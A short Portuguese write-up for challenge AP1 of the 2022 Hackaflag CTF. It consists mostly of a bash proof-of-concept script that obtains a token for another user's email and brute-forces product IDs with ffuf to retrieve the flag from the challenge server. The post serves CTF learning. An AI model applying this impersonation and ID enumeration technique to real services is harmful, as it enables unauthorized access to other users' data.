Reading time: 2 minutes.
[pt-BR]
No período entre 07/04/22 a 10/04/22, aconteceu a primeira etapa do Hackaflag CTF. Neste ano, os desafios passaram a ser baseados em falhas já relatadas através de programas de bug bounty, o que pode mudar um pouco a abordagem para conseguir resolver os desafios.
Contudo, na prova de conceito e no vídeo a seguir, é apresentada uma possível solução para o desafio AP1 desta primeira etapa.
Notas:
poc.sh
.chmod +x poc.sh
../poc.sh
#!/bin/bash
HTTP_EMAIL="[email protected]"
WORDLIST="ids_hackaflag.txt"
WORDLIST_LIMIT=4000
HTTP_TOKEN=""
get_token() {
curl -s http://157.245.74.188/logar/ -H "Email: $HTTP_EMAIL" | cut -d '>' -f3
}
list() {
curl -s http://157.245.74.188/list/ -H "Token: $HTTP_TOKEN"
}
status() {
curl -s http://157.245.74.188/status/ -H "Token: $HTTP_TOKEN" | grep "desafio" | cut -d '>' -f5 | cut -d '<' -f1
}
create_wordlist() {
> $WORDLIST
for i in $(seq 1 $WORDLIST_LIMIT); do echo $i >> $WORDLIST; done
}
bruteforce_id() {
create_wordlist
ffuf -s -w ./$WORDLIST -u http://157.245.74.188/products/?id=FUZZ -H "Token: $HTTP_TOKEN" -fs "50"
rm $WORDLIST
}
users() {
curl -s http://157.245.74.188/users/ -H "Token: $HTTP_TOKEN"
}
flag() {
curl -s http://157.245.74.188/products/?id=$1 -H "Token: $HTTP_TOKEN" | cut -d ' ' -f2
}
HTTP_TOKEN=$(get_token)
echo "Token ($HTTP_EMAIL):"
echo $HTTP_TOKEN
echo
echo "List:"
echo $(list)
echo
echo "Status:"
echo $(status)
echo
echo "Users:"
echo $(users)
echo
HTTP_EMAIL="[email protected]"
HTTP_TOKEN=$(get_token)
echo "Token ($HTTP_EMAIL):"
echo $HTTP_TOKEN
echo
echo -n "Brute-force ID (1 .. $WORDLIST_LIMIT):"
ID=$(bruteforce_id)
echo $ID
echo
FLAG=$(flag $ID)
if [[ $(echo $FLAG | grep 'HACKAFLAG{') != '' ]]; then
echo "Flag:"
echo $FLAG
else
echo "Flag not found"
fi
Live gravada no dia 15/04/2022 no canal do Hackaflag na Twitch.